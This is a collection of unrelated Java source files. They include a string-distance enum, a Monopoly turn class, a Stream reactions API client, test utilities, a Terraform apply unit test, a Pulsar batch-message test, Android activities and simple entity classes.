for terms inside the index. */ INTERNAL { @Override public StringDistance toLucene() { return DirectSpellChecker.INTERNAL_LEVENSHTEIN; } }, /** String distance algorithm based on Damerau-Levenshtein algorithm. */ DAMERAU_LEVENSHTEIN { @Override public StringDistance toLucene() { return new LuceneLevenshteinDistance(); } }, /** String distance algorithm based on Levenstein edit distance algorithm. */ LEVENSTEIN { @Override public StringDistance toLucene() { return new LevensteinDistance(); } }, /** String distance algorithm based on Jaro-Winkler algorithm. */ JAROWINKLER { @Override public StringDistance toLucene() { return new JaroWinklerDistance(); } }, /** String distance algorithm based on character n-grams. */ NGRAM { @Override public StringDistance toLucene() { return new NGramDistance(); } }; @Override public void writeTo(final StreamOutput out) throws IOException { out.writeEnum(this); } public static StringDistanceImpl readFromStream(final StreamInput in) throws IOException { return in.readEnum(StringDistanceImpl.class); } public static StringDistanceImpl resolve(final String str) { Objects.requireNonNull(str, "Input string is null"); final String distanceVal = str.toLowerCase(Locale.US); switch (distanceVal) { case "internal": return INTERNAL; case "damerau_levenshtein": case "damerauLevenshtein": return DAMERAU_LEVENSHTEIN; case "levenstein": return LEVENSTEIN; case "ngram": return NGRAM; case "jarowinkler": return JAROWINKLER; default: throw new IllegalArgumentException("Illegal distance option " + str); } } public abstract StringDistance toLucene(); } }
package live.ashish.airjet.view; import live.ashish.airjet.Version; import com.intellij.ide.AboutPopupDescriptionProvider; import com.intellij.ide.plugins.PluginManagerCore; import com.intellij.openapi.extensions.PluginDescriptor; import com.intellij.openapi.extensions.PluginId; import org.jetbrains.annotations.Nullable; import java.util.Optional; public class JenkinsAbout implements AboutPopupDescriptionProvider { @Nullable @Override public String getDescription() { return Optional.ofNullable(PluginManagerCore.getPlugin(PluginId.getId(Version.PLUGIN_ID))) .map(PluginDescriptor::getVersion) .map(version -> String.format("%s %s", Version.PLUGIN_NAME, version)) .orElse(null); } }
package ooga.model; import javafx.util.Pair; import ooga.model.tiles.Tile; import java.util.ArrayList; import java.util.List; /** * Turn class contains the methods needed for a single turn of the monopoly game to occur * @author Sylvie Mason * @author Muazzam Khan */ public class Turn { private Player currentPlayer; private Pair<Integer, Integer> rollAmount; private boolean promptUser = false; private List<String> popUpStrings = new ArrayList<>(); /** * executes a singular turn for the given player * * @param player the player who's turn it is */ public Turn(Player player, int roll1, int roll2) { currentPlayer = player; rollAmount = new Pair<>(roll1, roll2); boolean furtherStepNeeded = true; if (player.getSuspended() == 0 || player.canGetOutOfJail() || roll1 == roll2) { player.setSuspended(0); player.setGetOutOfJail(false); move(roll1 + roll2); while(furtherStepNeeded){ Tile initialPosition = player.getLocation(); handleCurrentProperty(); if (!initialPosition.isFurtherStepNeeded()) { furtherStepNeeded = false; } } } else { popUpStrings.addAll(stayInJailPopUpStrings()); currentPlayer.setSuspended(Math.max(currentPlayer.getSuspended() - 1, 0)); } if (!player.isAlive()) { player.endPlayer(); } currentPlayer.updateNetWorth(); } private List<String> stayInJailPopUpStrings() { List<String> popUp = new ArrayList<>(); popUp.add("Guess you're staying here!"); popUp.add("OK"); return popUp; } private void move(int roll) { currentPlayer.movePlayer(roll); } private void handleCurrentProperty() { Tile currentTile = currentPlayer.getLocation(); if (currentTile.landedUpon(currentPlayer)) { promptUser = true; } currentTile.setPopUpStrings(currentPlayer); popUpStrings.addAll(currentTile.getPopUpStrings()); } public boolean getPromptUser() { return promptUser; } public int getDiceAmount() { return rollAmount.getKey() + rollAmount.getValue(); } public Pair<Integer, Integer> getDice() { return rollAmount; } public List<String> getPopUpStrings() { return popUpStrings; } }
package io.getstream.client; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static io.getstream.core.utils.Auth.buildReactionsToken; import com.google.common.collect.Iterables; import io.getstream.core.LookupKind; import io.getstream.core.StreamReactions; import io.getstream.core.exceptions.StreamException; import io.getstream.core.http.Token; import io.getstream.core.models.FeedID; import io.getstream.core.models.Paginated; import io.getstream.core.models.Reaction; import io.getstream.core.options.Filter; import io.getstream.core.options.Limit; import io.getstream.core.utils.Auth.TokenAction; import io.getstream.core.utils.DefaultOptions; import java.util.List; import java8.util.concurrent.CompletableFuture; public final class ReactionsClient { private final String secret; private final StreamReactions reactions; ReactionsClient(String secret, StreamReactions reactions) { this.secret = secret; this.reactions = reactions; } public CompletableFuture<Reaction> get(String id) throws StreamException { final Token token = buildReactionsToken(secret, TokenAction.READ); return reactions.get(token, id); } public CompletableFuture<List<Reaction>> filter(LookupKind lookup, String id) throws StreamException { return filter(lookup, id, DefaultOptions.DEFAULT_FILTER, DefaultOptions.DEFAULT_LIMIT, ""); } public CompletableFuture<List<Reaction>> filter(LookupKind lookup, String id, Limit limit) throws StreamException { return filter(lookup, id, DefaultOptions.DEFAULT_FILTER, limit, ""); } public CompletableFuture<List<Reaction>> filter(LookupKind lookup, String id, Filter filter) throws StreamException { return filter(lookup, id, filter, DefaultOptions.DEFAULT_LIMIT, ""); } public CompletableFuture<List<Reaction>> filter(LookupKind lookup, String id, String kind) throws StreamException { return filter(lookup, id, DefaultOptions.DEFAULT_FILTER, DefaultOptions.DEFAULT_LIMIT, kind); } public CompletableFuture<List<Reaction>> filter( LookupKind lookup, String id, Filter filter, Limit limit) throws StreamException { return filter(lookup, id, filter, limit, ""); } public CompletableFuture<List<Reaction>> filter( LookupKind lookup, String id, Limit limit, String kind) throws StreamException { return filter(lookup, id, DefaultOptions.DEFAULT_FILTER, limit, kind); } public CompletableFuture<List<Reaction>> filter( LookupKind lookup, String id, Filter filter, Limit limit, String kind) throws StreamException { final Token token = buildReactionsToken(secret, TokenAction.READ); return reactions.filter(token, lookup, id, filter, limit, kind); } public CompletableFuture<Paginated<Reaction>> paginatedFilter(LookupKind lookup, String id) throws StreamException { return paginatedFilter( lookup, id, DefaultOptions.DEFAULT_FILTER, DefaultOptions.DEFAULT_LIMIT, ""); } public CompletableFuture<Paginated<Reaction>> paginatedFilter( LookupKind lookup, String id, Limit limit) throws StreamException { return paginatedFilter(lookup, id, DefaultOptions.DEFAULT_FILTER, limit, ""); } public CompletableFuture<Paginated<Reaction>> paginatedFilter( LookupKind lookup, String id, Filter filter) throws StreamException { return paginatedFilter(lookup, id, filter, DefaultOptions.DEFAULT_LIMIT, ""); } public CompletableFuture<Paginated<Reaction>> paginatedFilter( LookupKind lookup, String id, String kind) throws StreamException { return paginatedFilter( lookup, id, DefaultOptions.DEFAULT_FILTER, DefaultOptions.DEFAULT_LIMIT, kind); } public CompletableFuture<Paginated<Reaction>> paginatedFilter( LookupKind lookup, String id, Filter filter, Limit limit) throws StreamException { return paginatedFilter(lookup, id, filter, limit, ""); } public CompletableFuture<Paginated<Reaction>> paginatedFilter( LookupKind lookup, String id, Limit limit, String kind) throws StreamException { return paginatedFilter(lookup, id, DefaultOptions.DEFAULT_FILTER, limit, kind); } public CompletableFuture<Paginated<Reaction>> paginatedFilter( LookupKind lookup, String id, Filter filter, Limit limit, String kind) throws StreamException { final Token token = buildReactionsToken(secret, TokenAction.READ); return reactions.paginatedFilter(token, lookup, id, filter, limit, kind); } public CompletableFuture<Paginated<Reaction>> paginatedFilter(String next) throws StreamException { final Token token = buildReactionsToken(secret, TokenAction.READ); return reactions.paginatedFilter(token, next); } public CompletableFuture<Reaction> add( String userID, String kind, String activityID, Iterable<FeedID> targetFeeds) throws StreamException { return add(userID, kind, activityID, Iterables.toArray(targetFeeds, FeedID.class)); } public CompletableFuture<Reaction> add( String userID, String kind, String activityID, FeedID... targetFeeds) throws StreamException { checkNotNull(kind, "Reaction kind can't be null"); checkArgument(!kind.isEmpty(), "Reaction kind can't be empty"); checkNotNull(activityID, "Reaction activity id can't be null"); checkArgument(!activityID.isEmpty(), "Reaction activity id can't be empty"); return add(userID, Reaction.builder().activityID(activityID).kind(kind).build(), targetFeeds); } public CompletableFuture<Reaction> add( String userID, Reaction reaction, Iterable<FeedID> targetFeeds) throws StreamException { return add(userID, reaction, Iterables.toArray(targetFeeds, FeedID.class)); } public CompletableFuture<Reaction> add(String userID, Reaction reaction, FeedID... targetFeeds) throws StreamException { final Token token = buildReactionsToken(secret, TokenAction.WRITE); return reactions.add(token, userID, reaction, targetFeeds); } public CompletableFuture<Reaction> addChild( String userID, String kind, String parentID, Iterable<FeedID> targetFeeds) throws StreamException { Reaction child = Reaction.builder().kind(kind).parent(parentID).build(); return add(userID, child, targetFeeds); } public CompletableFuture<Reaction> addChild( String userID, String kind, String parentID, FeedID... targetFeeds) throws StreamException { Reaction child = Reaction.builder().kind(kind).parent(parentID).build(); return add(userID, child, targetFeeds); } public CompletableFuture<Reaction> addChild( String userID, String parentID, Reaction reaction, Iterable<FeedID> targetFeeds) throws StreamException { Reaction child = Reaction.builder().fromReaction(reaction).parent(parentID).build(); return add(userID, child, targetFeeds); } public CompletableFuture<Reaction> addChild( String userID, String parentID, Reaction reaction, FeedID... targetFeeds) throws StreamException { Reaction child = Reaction.builder().fromReaction(reaction).parent(parentID).build(); return add(userID, child, targetFeeds); } public CompletableFuture<Void> update(String id, Iterable<FeedID> targetFeeds) throws StreamException { return update(id, Iterables.toArray(targetFeeds, FeedID.class)); } public CompletableFuture<Void> update(String id, FeedID... targetFeeds) throws StreamException { checkNotNull(id, "Reaction id can't be null"); checkArgument(!id.isEmpty(), "Reaction id can't be empty"); return update(Reaction.builder().id(id).build(), targetFeeds); } public CompletableFuture<Void> update(Reaction reaction, Iterable<FeedID> targetFeeds) throws StreamException { return update(reaction, Iterables.toArray(targetFeeds, FeedID.class)); } public CompletableFuture<Void> update(Reaction reaction, FeedID... targetFeeds) throws StreamException { final Token token = buildReactionsToken(secret, TokenAction.WRITE); return reactions.update(token, reaction, targetFeeds); } public CompletableFuture<Void> delete(String id) throws StreamException { final Token token = buildReactionsToken(secret, TokenAction.DELETE); return reactions.delete(token, id); } }
package me.pzheng.conn; import android.graphics.drawable.Drawable; /** * Created by poliveira on 24/10/2014. */ public class NavigationItem { private String mText; private Drawable mDrawable; public NavigationItem(String text, Drawable drawable) { mText = text; mDrawable = drawable; } public String getText() { return mText; } public void setText(String text) { mText = text; } public Drawable getDrawable() { return mDrawable; } public void setDrawable(Drawable drawable) { mDrawable = drawable; } }
/* * Copyright 2002-2012 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.beans.factory; /** * Exception thrown when a bean instance has been requested for * a bean definition which has been marked as abstract. * * @author Juergen Hoeller * @since 1.1 * @see org.springframework.beans.factory.support.AbstractBeanDefinition#setAbstract */ @SuppressWarnings("serial") public class BeanIsAbstractException extends BeanCreationException { /** * Create a new BeanIsAbstractException. * @param beanName the name of the bean requested */ public BeanIsAbstractException(String beanName) { super(beanName, "Bean definition is abstract"); } }
/* * Copyright (c) 2020, 2021 Microsoft Corporation * * This program and the accompanying materials are made available under the * terms of the Apache License, Version 2.0 which is available at * https://www.apache.org/licenses/LICENSE-2.0 * * SPDX-License-Identifier: Apache-2.0 * * Contributors: * Microsoft Corporation - initial API and implementation * */ package org.eclipse.dataspaceconnector.common.testfixtures; import okhttp3.OkHttpClient; import java.io.File; import java.io.IOException; import java.net.ServerSocket; import java.net.URI; import java.net.URISyntaxException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Objects; import java.util.Random; import java.util.Scanner; import java.util.concurrent.TimeUnit; import static java.lang.String.format; import static org.junit.jupiter.api.Assertions.fail; public class TestUtils { public static final String SAMPLE_FILE_RESOURCE_NAME = "hello.txt"; public static final int MAX_TCP_PORT = 65_535; public static Path getResourcePath(String resourceName) { Path path = null; try { path = Paths.get(Thread.currentThread().getContextClassLoader().getResource(resourceName).toURI()); } catch (URISyntaxException e) { fail("Resource: " + resourceName + " does not exist" + e.getLocalizedMessage()); } return path; } public static File getFileFromResourceName(String resourceName) { URI uri = null; try { uri = Thread.currentThread().getContextClassLoader().getResource(resourceName).toURI(); } catch (URISyntaxException e) { fail("Cannot proceed without File : " + resourceName); } return new File(uri); } public static String getResourceFileContentAsString(String resourceName) { var stream = Thread.currentThread().getContextClassLoader().getResourceAsStream(resourceName); Scanner s = new Scanner(Objects.requireNonNull(stream)).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } /** * Gets a free port in the range 1024 - 65535 by trying them in ascending order. * * @return the first free port * @throws IllegalArgumentException if no free port is available */ public static int getFreePort() { var rnd = 1024 + new Random().nextInt(MAX_TCP_PORT - 1024); return getFreePort(rnd); } /** * Gets a free port in the range lowerBound - 65535 by trying them in ascending order. * * @return the first free port * @throws IllegalArgumentException if no free port is available */ public static int getFreePort(int lowerBound) { if (lowerBound <= 0 || lowerBound >= MAX_TCP_PORT) { throw new IllegalArgumentException("Lower bound must be > 0 and < " + MAX_TCP_PORT); } return getFreePort(lowerBound, MAX_TCP_PORT); } /** * Gets a free port in the range lowerBound - upperBound by trying them in ascending order. * * @return the first free port * @throws IllegalArgumentException if no free port is available or if the bounds are invalid. */ public static int getFreePort(int lowerBound, int upperBound) { if (lowerBound <= 0 || lowerBound >= MAX_TCP_PORT || lowerBound >= upperBound) { throw new IllegalArgumentException("Lower bound must be > 0 and < " + MAX_TCP_PORT + " and be < upperBound"); } if (upperBound > MAX_TCP_PORT) { throw new IllegalArgumentException("Upper bound must be < " + MAX_TCP_PORT); } var port = lowerBound; boolean found = false; while (!found && port <= upperBound) { try (ServerSocket serverSocket = new ServerSocket(port)) { serverSocket.setReuseAddress(true); port = serverSocket.getLocalPort(); found = true; } catch (IOException e) { found = false; port++; } } if (!found) { throw new IllegalArgumentException(format("No free ports in the range [%d - %d]", lowerBound, upperBound)); } return port; } /** * Helper method to create a temporary directory. * * @return a newly create temporary directory. */ public static String tempDirectory() { try { return Files.createTempDirectory(TestUtils.class.getSimpleName()).toString(); } catch (IOException e) { throw new RuntimeException(e); } } /** * Create an {@link OkHttpClient} suitable for using in unit tests. The client configured with long timeouts * suitable for high-contention scenarios in CI. * * @return an {@link OkHttpClient.Builder}. */ public static OkHttpClient testOkHttpClient() { return new OkHttpClient.Builder() .connectTimeout(1, TimeUnit.MINUTES) .writeTimeout(1, TimeUnit.MINUTES) .readTimeout(1, TimeUnit.MINUTES) .build(); } }
package cn.leiyy.modules.wechat.service.impl; import cn.leiyy.common.persistence.model.OperationLog; import cn.leiyy.common.persistence.model.PublicSignal; import cn.leiyy.common.persistence.dao.PublicSignalMapper; import cn.leiyy.modules.wechat.dao.PublicSignalDao; import cn.leiyy.modules.wechat.service.IPublicSignalService; import com.baomidou.mybatisplus.plugins.Page; import com.baomidou.mybatisplus.service.impl.ServiceImpl; import org.apache.ibatis.annotations.Param; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import java.util.List; import java.util.Map; /** * <p> * 服务实现类 * </p> * * @author HuangHanlin * @since 2017-08-12 */ @Service public class PublicSignalServiceImpl extends ServiceImpl<PublicSignalMapper, PublicSignal> implements IPublicSignalService { @Autowired PublicSignalDao publicSignalDao; @Override public List<PublicSignal> findByCondition(Page<PublicSignal> page, String name) { return publicSignalDao.getOperation(page,name, page.getOrderByField(), page.isAsc()); } }
// This file is part of CPAchecker, // a tool for configurable software verification: // https://cpachecker.sosy-lab.org // // SPDX-FileCopyrightText: 2007-2020 Dirk Beyer <https://www.sosy-lab.org> // // SPDX-License-Identifier: Apache-2.0 package pack; public class Const { public Const(int num) { int startConstructor; int endConstructor; } public static void main(String args[]) { int num = 0; int startConstructorInvocation; Const obj = new Const(num); int endConstructorInvocation; } }
package org.JMathStudio.ToolBoxes.WaveletToolBox; /** * This class define an orthogonal Wavelet. An orthogonal Wavelet is * characterised by its Low Pass and High Pass decomposition and reconstruction * filter coefficients. * <p> * The specified filter coefficients should form an Quadrature Mirror filter. * * @see WaveletFactory * @author Ajani Bhavya - (jmathstudio@gmail.com) */ public final class Wavelet { private float[] ld; private float[] hd; private float[] lr; private float[] hr; private String type; /** * This will create an orthogonal Wavelet of type as specified by the * argument 'type'. * <p> * The given Wavelet will be characterised by following filter coefficients, * <i> * <p> * 'LD' - Low Pass decomposition filter coefficients. * <p> * 'HD' - High Pass decomposition filter coefficients. * <p> * 'LR' - Low Pass reconstruction filter coefficients. * <p> *'HR' - High Pass reconstruction filter coefficients. </i> * <p> * When creating a new Wavelet object ensure that filter coefficients passed * on are correct for the Wavelet type as specified. * <p>All array arguments are passed by reference and no deep copy of the same is made. * * @param String * type * @param float[] LD * @param float[] HD * @param float[] LR * @param float[] HR * @see WaveletFactory * @author Ajani Bhavya - (jmathstudio@gmail.com) */ public Wavelet(String type, float[] LD, float[] HD, float[] LR, float[] HR) { this.type = type; this.ld = LD; this.hd = HD; this.lr = LR; this.hr = HR; } /** * This method will return the Low Pass Decomposition filter coefficinets * for the given Wavelet. * * @return float[] * @author Ajani Bhavya - (jmathstudio@gmail.com) */ public float[] accessLD() { return this.ld; } /** * This method will return the High Pass Decomposition filter coefficinets * for the given Wavelet. * * @return float[] * @author Ajani Bhavya - (jmathstudio@gmail.com) */ public float[] accessHD() { return this.hd; } /** * This method will return the Low Pass Reconstruction filter coefficinets * for the given Wavelet. * * @return float[] * @author Ajani Bhavya - (jmathstudio@gmail.com) */ public float[] accessLR() { return this.lr; } /** * This method will return the High Pass Reconstruction filter coefficinets * for the given Wavelet. * * @return float[] * @author Ajani Bhavya - (jmathstudio@gmail.com) */ public float[] accessHR() { return this.hr; } /** * This will specify the type of this Wavelet object. * * @return String * @author Ajani Bhavya - (jmathstudio@gmail.com) */ public String getWaveletType() { return this.type; } }
/* * This file is part of HangarUpdater, licensed under the MIT License. * * Copyright (c) Lorenzo0111 * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ package me.lorenzo0111.updater.plugin; import me.lorenzo0111.updater.hangar.plugin.UpdatablePlugin; import me.lorenzo0111.updater.hangar.scheduler.IScheduler; import net.md_5.bungee.api.plugin.Plugin; public class WaterfallPlugin implements UpdatablePlugin { private final String version; private final String name; private final String serverVersion; private final IScheduler scheduler; private WaterfallPlugin(String version, String name, String serverVersion, IScheduler scheduler) { this.version = version; this.name = name; this.scheduler = scheduler; this.serverVersion = serverVersion; } public static WaterfallPlugin from(Plugin plugin) { return new WaterfallPlugin(plugin.getDescription().getVersion(), plugin.getDescription().getName(), plugin.getProxy().getVersion(), me.lorenzo0111.updater.scheduler.WaterfallPlugin.create(plugin)); } @Override public String version() { return version; } @Override public String name() { return name; } @Override public String serverVersion() { return serverVersion; } @Override public IScheduler scheduler() { return scheduler; } }
package cn.macswelle.campusecurity.common; public class DeviceNotRespondException extends Exception{ }
package com.deliveredtechnologies.terraform.api; import com.deliveredtechnologies.io.Executable; import com.deliveredtechnologies.terraform.TerraformCommand; import com.deliveredtechnologies.terraform.TerraformCommandLineDecorator; import com.deliveredtechnologies.terraform.TerraformException; import com.deliveredtechnologies.terraform.api.TerraformApply.Option; import org.hamcrest.CoreMatchers; import org.junit.Assert; import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.mockito.ArgumentCaptor; import org.mockito.Captor; import org.mockito.Mock; import org.mockito.Mockito; import org.mockito.junit.MockitoJUnit; import org.mockito.junit.MockitoRule; import org.slf4j.Logger; import java.io.IOException; import java.util.Arrays; import java.util.HashMap; import java.util.Map; public class TerraformApplyTest { private Map<String,Object> properties; private TerraformApply terraformApply; @Mock private Executable executable; @Rule public MockitoRule rule = MockitoJUnit.rule(); @Captor private ArgumentCaptor<String> captor; /** * Sets up properties, Mock(s) and creates the terraform root module source. * * @throws IOException */ @Before public void setup() { properties = new HashMap<>(); terraformApply = new TerraformApply(executable); } //TODO maybe a timeout test @Test public void terraformApplyExecutesWhenAllPossiblePropertiesArePassed() throws IOException, InterruptedException, TerraformException { properties.put(Option.tfVars.getPropertyName(), "key1=value1, key2=value2"); properties.put(Option.tfVarFiles.getPropertyName(), "test1.txt, test2.txt"); properties.put(Option.lockTimeout.getPropertyName(), "1000s"); properties.put(Option.target.getPropertyName(), "module1.module2"); properties.put(Option.noColor.getPropertyName(), "true"); properties.put(Option.refreshState.getPropertyName(), "false"); properties.put(Option.autoApprove.getPropertyName(), "any"); properties.put(Option.plan.getPropertyName(), "someplan.tfplan"); terraformApply.execute(properties); Mockito.verify(this.executable, Mockito.times(1)).execute(captor.capture()); String tfCommand = captor.getValue(); Assert.assertThat(tfCommand, CoreMatchers.containsString("-var \"key1=value1\" -var \"key2=value2\" ")); Assert.assertThat(tfCommand, CoreMatchers.containsString("-var-file=test1.txt -var-file=test2.txt ")); Assert.assertThat(tfCommand, CoreMatchers.containsString("-lock-timeout=1000s ")); Assert.assertThat(tfCommand, CoreMatchers.containsString("-target=module1.module2 ")); Assert.assertThat(tfCommand, CoreMatchers.containsString("-no-color ")); Assert.assertThat(tfCommand, CoreMatchers.containsString("-auto-approve ")); Assert.assertThat(tfCommand, CoreMatchers.containsString("-refresh=false ")); Assert.assertThat(tfCommand, CoreMatchers.endsWith("someplan.tfplan ")); } @Test public void terraformApplyExecutesWhenTFvarsIsMap() throws IOException, InterruptedException, TerraformException { String str = "terraform apply -var 'key1=value1' -var 'key2=[\"value2\",\"value3\"]' -auto-approve "; Map tfvars = new HashMap(); tfvars.put("key1", "value1"); tfvars.put("key2", Arrays.asList("value2", "value3")); properties.put(TerraformApply.Option.tfVars.getPropertyName(), tfvars); terraformApply.execute(properties); Mockito.verify(this.executable, Mockito.times(1)).execute(captor.capture()); String tfCommand = captor.getValue(); Assert.assertThat(tfCommand, CoreMatchers.containsString("-var \"key1=value1\" ")); } @Test public void terraformApplyExecutesWhenNoPropertiesArePassed() throws IOException, InterruptedException, TerraformException { TerraformApply terraformApply = new TerraformApply(new TerraformCommandLineDecorator(TerraformCommand.APPLY, this.executable)); terraformApply.execute(properties); Mockito.verify(this.executable, Mockito.times(1)).execute("terraform apply -auto-approve "); } @Test(expected = TerraformException.class) public void terraformApplyThrowsTerraformExceptionOnError() throws IOException, InterruptedException, TerraformException { Mockito.when(this.executable.execute(Mockito.anyString())).thenThrow(new IOException("boom!")); TerraformApply terraformApply = new TerraformApply(this.executable); terraformApply.execute(properties); } @Test public void terraformApplyPassesLoggerToExecutable() { Logger logger = Mockito.mock(Logger.class); new TerraformApply(executable, logger); Mockito.verify(executable, Mockito.times(1)).setLogger(logger); } }
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.pulsar.client.impl; import static org.testng.Assert.assertEquals; import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import org.apache.pulsar.client.api.Message; import org.apache.pulsar.client.api.ProducerConsumerBase; import org.apache.pulsar.common.protocol.Commands; import org.apache.pulsar.common.api.proto.PulsarApi.MessageIdData; import org.apache.pulsar.common.api.proto.PulsarApi.MessageMetadata; import org.apache.pulsar.common.api.proto.PulsarApi.SingleMessageMetadata; import org.testng.annotations.AfterMethod; import org.testng.annotations.BeforeMethod; import org.testng.annotations.Test; public class CompactedOutBatchMessageTest extends ProducerConsumerBase { @BeforeMethod @Override protected void setup() throws Exception { super.internalSetup(); producerBaseSetup(); } @AfterMethod @Override protected void cleanup() throws Exception { super.internalCleanup(); } @Test public void testCompactedOutMessages() throws Exception { final String topic1 = "persistent://my-property/my-ns/my-topic"; MessageMetadata metadata = MessageMetadata.newBuilder().setProducerName("foobar") .setSequenceId(1).setPublishTime(1).setNumMessagesInBatch(3).build(); // build a buffer with 4 messages, first and last compacted out ByteBuf batchBuffer = Unpooled.buffer(1000); Commands.serializeSingleMessageInBatchWithPayload( SingleMessageMetadata.newBuilder().setCompactedOut(true).setPartitionKey("key1"), Unpooled.EMPTY_BUFFER, batchBuffer); Commands.serializeSingleMessageInBatchWithPayload( SingleMessageMetadata.newBuilder().setCompactedOut(true).setPartitionKey("key2"), Unpooled.EMPTY_BUFFER, batchBuffer); Commands.serializeSingleMessageInBatchWithPayload( SingleMessageMetadata.newBuilder().setCompactedOut(false).setPartitionKey("key3"), Unpooled.EMPTY_BUFFER, batchBuffer); Commands.serializeSingleMessageInBatchWithPayload( SingleMessageMetadata.newBuilder().setCompactedOut(true).setPartitionKey("key4"), Unpooled.EMPTY_BUFFER, batchBuffer); try (ConsumerImpl<byte[]> consumer = (ConsumerImpl<byte[]>) pulsarClient.newConsumer().topic(topic1) .subscriptionName("my-subscriber-name").subscribe()) { // shove it in the sideways consumer.receiveIndividualMessagesFromBatch(metadata, 0, batchBuffer, MessageIdData.newBuilder().setLedgerId(1234) .setEntryId(567).build(), consumer.cnx()); Message<?> m = consumer.receive(); assertEquals(((BatchMessageIdImpl)m.getMessageId()).getLedgerId(), 1234); assertEquals(((BatchMessageIdImpl)m.getMessageId()).getEntryId(), 567); assertEquals(((BatchMessageIdImpl)m.getMessageId()).getBatchIndex(), 2); assertEquals(m.getKey(), "key3"); assertEquals(consumer.numMessagesInQueue(), 0); } } }
package com.ucv.codetech.service; import com.ucv.codetech.service.configuration.MediaUrlConfiguration; import lombok.AllArgsConstructor; import org.springframework.hateoas.Link; import org.springframework.stereotype.Service; import org.springframework.web.util.UriTemplate; import java.net.URI; @Service @AllArgsConstructor public class MediaUrlService { private final MediaUrlConfiguration mediaUrlConfiguration; public Link getLinkForZippingFiles(String folderName) { URI uri = new UriTemplate(mediaUrlConfiguration.getZipFilesUrl()).expand(folderName); return Link.of(String.valueOf(uri), "zip-files"); } public Link getLinkForGettingMedia(String folder, String fileName, String rel) { URI uri = new UriTemplate(mediaUrlConfiguration.getFilePathVariableUrl()).expand(folder, fileName); return Link.of(String.valueOf(uri), rel); } }
package com.company.Day11.Day11_01; public class User { // String userName = "李四"; // int age; // 显式初始化 // final String USERNAME = "张三"; // 构造方法初始化 final String USERNAME; private int age; public User(String username , int age) { this.USERNAME = username; this.age = age; } }
package com.example.todo; import androidx.appcompat.app.AppCompatActivity; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import android.content.Context; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; import java.io.File; import java.io.IOException; import java.nio.charset.Charset; import java.util.ArrayList; import java.util.List; import org.apache.commons.io.FileUtils; public class MainActivity extends AppCompatActivity { List<String> items; Button btnAdd; EditText etItem; RecyclerView rvItems; ItemsAdapter itemsAdapter; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); btnAdd = findViewById(R.id.btnAdd); etItem = findViewById(R.id.etItem); rvItems = findViewById(R.id.rvItems); //items = new ArrayList<>(); //items.add("Postirat"); //items.add("Posushit"); //items.add("Odetsa"); loadItems(); ItemsAdapter.OnLongClickListener onLongClickListener = new ItemsAdapter.OnLongClickListener(){ @Override public void onItemLongClicked(int position) { items.remove(position); itemsAdapter.notifyItemRemoved(position); Toast.makeText(getApplicationContext(), "Item was removed", Toast.LENGTH_SHORT).show(); saveItems(); } }; itemsAdapter = new ItemsAdapter(items, onLongClickListener); rvItems.setAdapter(itemsAdapter); rvItems.setLayoutManager(new LinearLayoutManager(this)); btnAdd.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { String todoItem = etItem.getText().toString(); //Add item to the model items.add(todoItem); //Notify the adapter than an item is inserted itemsAdapter.notifyItemInserted(items.size()-1); etItem.setText(""); Toast.makeText(getApplicationContext(), "Item was added", Toast.LENGTH_SHORT).show(); saveItems(); } }); } private File getDataFile() { return new File(getFilesDir(), "data.text"); } //load items by reading every line of data file private void loadItems() { try { items = new ArrayList<>(FileUtils.readLines(getDataFile(), Charset.defaultCharset())); } catch (IOException e) { Log.e("MainActivity", "Error reading items", e); items = new ArrayList<>(); } } //write items by writing them into the data file private void saveItems() { try { FileUtils.writeLines(getDataFile(), items); } catch (IOException e) { Log.e("MainActivity", "Error writing items", e); } } }
package com.skd.hc.entities; import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor; @Data @AllArgsConstructor @NoArgsConstructor public class Diagnosis { //诊断类 private Integer dg_id; //诊断ID private Integer cr_id; //挂号ID private String dg_info;//诊断结果信息 private String med_id_list; }
